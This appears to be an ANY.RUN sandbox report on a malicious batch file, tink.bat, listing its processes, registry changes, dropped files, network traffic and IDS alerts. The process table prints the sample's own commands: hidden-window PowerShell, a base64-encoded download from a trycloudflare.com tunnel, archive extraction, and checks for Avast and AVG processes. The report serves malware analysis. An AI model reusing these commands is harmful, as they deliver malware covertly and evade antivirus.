download:

/tink.bat

Full analysis: https://app.any.run/tasks/5a8a556e-aa8d-4227-8036-97ddbd387bf3
Verdict: Malicious activity
Analysis date: April 15, 2025, 19:35:18
OS: Windows 11 Professional (build: 22000, 64 bit)
Indicators:
MIME: text/plain
File info: Unicode text, UTF-16, little-endian text, with very long lines (19932), with no line terminators
MD5:

8BFC2E4C7EE611FC0F7B15006AF299AB

SHA1:

F08195863426C9DAE4F1FC89014E9AE49AE576FD

SHA256:

759D6929E4456668A93D92B2AEA311D9B7590EBAB4A4DA3CD8602B8C0B8111D5

SSDEEP:

192:pkq0gVnNPXmZ+cmNrhLOeL5jF8ya1A7L3RAP8OX+sdIT+PYCnJBh+8xP1qhVAgkU:l/ynWZI8nRnwnk9lnP

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 3884)

    • Antivirus name has been found in the command line (generic signature)

      • tasklist.exe (PID: 5176)
      • find.exe (PID: 2836)
      • tasklist.exe (PID: 1104)
      • find.exe (PID: 3512)

  • SUSPICIOUS

    • Executing commands from a ".bat" file

      • powershell.exe (PID: 3884)

    • Starts process via Powershell

      • powershell.exe (PID: 3884)

    • Reads the Internet Settings

      • powershell.exe (PID: 3884)
      • powershell.exe (PID: 3780)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 3884)

    • Get information on the list of running processes

      • cmd.exe (PID: 5428)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 4012)
      • cmd.exe (PID: 5428)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 3780)

    • Gets file extension (POWERSHELL)

      • powershell.exe (PID: 4632)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 4632)

    • Process drops python dynamic module

      • powershell.exe (PID: 4632)

  • INFO

    • Checks proxy server information

      • powershell.exe (PID: 3780)

    • Disables trace logs

      • powershell.exe (PID: 3780)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 4632)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 4632)

    • The sample compiled with english language support

      • powershell.exe (PID: 4632)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.txt | Text - UTF-16 (LE) encoded (66.6)
.mp3 | MP3 audio (33.3)
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
118
Monitored processes
12
Malicious processes
2
Suspicious processes
2

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs powershell.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs tasklist.exe no specs find.exe no specs powershell.exe svchost.exe powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
1104tasklist /FI "IMAGENAME eq avgui.exe" C:\Windows\System32\tasklist.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Lists the current running tasks
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\tasklist.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
1428\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
1664C:\Windows\system32\svchost.exe -k NetworkService -pC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\bcryptprimitives.dll
2836find /i "AvastUI.exe" C:\Windows\System32\find.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (grep) Utility
Exit code:
1
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\find.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\fsutilext.dll
3512find /i "avgui.exe" C:\Windows\System32\find.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (grep) Utility
Exit code:
1
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\find.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\fsutilext.dll
3780powershell -Command "irm ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9kaXktc29sdXRpb24td2FycmlvcnMtd29ya2Zsb3cudHJ5Y2xvdWRmbGFyZS5jb20vYmFiLnppcA=='))) -OutFile 'C:\Users\admin\Downloads\downloaded.zip' -ErrorAction Stop"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3884powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\admin\Desktop\tink.bat\" hidden' -WindowStyle Hidden"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4012C:\Windows\system32\cmd.exe /c ""C:\Users\admin\Desktop\tink.bat" "C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
4632powershell -Command "try { Expand-Archive -Path 'C:\Users\admin\Downloads\downloaded.zip' -DestinationPath 'C:\Users\admin\Downloads\Extracted' -Force } catch { exit 1 }"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5176tasklist /FI "IMAGENAME eq AvastUI.exe" C:\Windows\System32\tasklist.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Lists the current running tasks
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\tasklist.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
Total events
15 106
Read events
15 098
Write events
8
Delete events
0

Modification events

(PID) Process:(3884) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3884) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3884) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3884) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
Executable files
41
Suspicious files
364
Text files
1 577
Unknown types
0

Dropped files

PID
Process
Filename
Type
3780powershell.exeC:\Users\admin\Downloads\downloaded.zip —
MD5:—
SHA256:—
4632powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_brojymcc.w3g.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3780powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0rpowhez.qjt.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3884powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_41k331dy.xba.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3884powershell.exeC:\Users\admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logtext
MD5:F9D7877A906C6918EF301B3CFFD301B4
SHA256:91978D96C492ADF8923E5875DE675537E660E170DAB04E37A327EB0C3EC4654B
4632powershell.exeC:\Users\admin\Downloads\Extracted\Python\Python312\DLLs\_decimal.pydexecutable
MD5:3055EDF761508190B576E9BF904003AA
SHA256:E4104E47399D3F635A14D649F61250E9FD37F7E65C81FFE11F099923F8532577
4632powershell.exeC:\Users\admin\Downloads\Extracted\Python\Python312\DLLs\_ctypes.pydexecutable
MD5:BBD5533FC875A4A075097A7C6ABA865E
SHA256:BE9828A877E412B48D75ADDC4553D2D2A60AE762A3551F9731B50CAE7D65B570
4632powershell.exeC:\Users\admin\Downloads\Extracted\Python\Python312\DLLs\_lzma.pydexecutable
MD5:05E8B2C429AFF98B3AE6ADC842FB56A3
SHA256:A6E2A5BB7A33AD9054F178786A031A46EA560FAEEF1FB96259331500AAE9154C
4632powershell.exeC:\Users\admin\Downloads\Extracted\Python\Python312\DLLs\_msi.pydexecutable
MD5:88D20E77E718FF62CE5F01BC6CBCEB88
SHA256:003F06B975E311A9725DBD53B199D42DFF25DF7F8B3AB93BB1AF56C321865FE0
3780powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ftyxwvdv.oec.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
23
TCP/UDP connections
35
DNS requests
15
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
88.221.110.147:80
http://www.msftconnecttest.com/connecttest.txt
unknown
—
—
whitelisted
4976
MoUsoCoreWorker.exe
GET
200
208.89.74.31:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2e16a064e6a93291
unknown
—
—
whitelisted
3640
svchost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
2768
svchost.exe
GET
200
199.232.210.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?27a1f3f9d6f21f74
unknown
—
—
whitelisted
2768
svchost.exe
GET
200
199.232.210.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?1ba2c49461210cde
unknown
—
—
whitelisted
5136
smartscreen.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
2768
svchost.exe
GET
200
199.232.210.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?ff4bfe07f6f68990
unknown
—
—
whitelisted
2768
svchost.exe
GET
200
199.232.210.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?406ec4d9673749fb
unknown
—
—
whitelisted
2988
OfficeClickToRun.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
1848
svchost.exe
POST
403
95.100.186.9:80
http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
88.221.110.147:80
—
Akamai International B.V.
DE
unknown
4976
MoUsoCoreWorker.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4976
MoUsoCoreWorker.exe
208.89.74.31:80
ctldl.windowsupdate.com
—
US
whitelisted
3640
svchost.exe
20.190.160.17:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3640
svchost.exe
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
5136
smartscreen.exe
48.209.144.71:443
checkappexec.microsoft.com
—
US
whitelisted
5136
smartscreen.exe
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
3780
powershell.exe
104.16.231.132:443
diy-solution-warriors-workflow.trycloudflare.com
CLOUDFLARENET
—
whitelisted
3952
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
1272
svchost.exe
23.197.142.186:443
fs.microsoft.com
Akamai International B.V.
US
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.78
whitelisted
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
ctldl.windowsupdate.com
  • 208.89.74.31
  • 208.89.74.19
  • 199.232.210.172
  • 199.232.214.172
whitelisted
login.live.com
  • 20.190.160.17
  • 20.190.160.22
  • 20.190.160.131
  • 20.190.160.20
  • 20.190.160.65
  • 40.126.32.138
  • 40.126.32.72
  • 20.190.160.66
whitelisted
ocsp.digicert.com
  • 184.30.131.245
  • 2.17.190.73
whitelisted
checkappexec.microsoft.com
  • 48.209.144.71
whitelisted
diy-solution-warriors-workflow.trycloudflare.com
  • 104.16.231.132
  • 104.16.230.132
whitelisted
fs.microsoft.com
  • 23.197.142.186
whitelisted
self.events.data.microsoft.com
  • 20.189.173.12
whitelisted
officeclient.microsoft.com
  • 52.109.89.18
whitelisted

Threats

PID
Process
Class
Message
—
—
Misc activity
ET INFO Microsoft Connection Test
1664
svchost.exe
Potentially Bad Traffic
ET INFO Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)
1664
svchost.exe
Potentially Bad Traffic
SUSPICIOUS [ANY.RUN] Cloudflare Tunnel (TryCloudflare)
3780
powershell.exe
Misc activity
ET HUNTING TryCloudFlare Domain in TLS SNI
3780
powershell.exe
Misc activity
ET INFO Observed trycloudflare .com Domain in TLS SNI
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
/tink.bat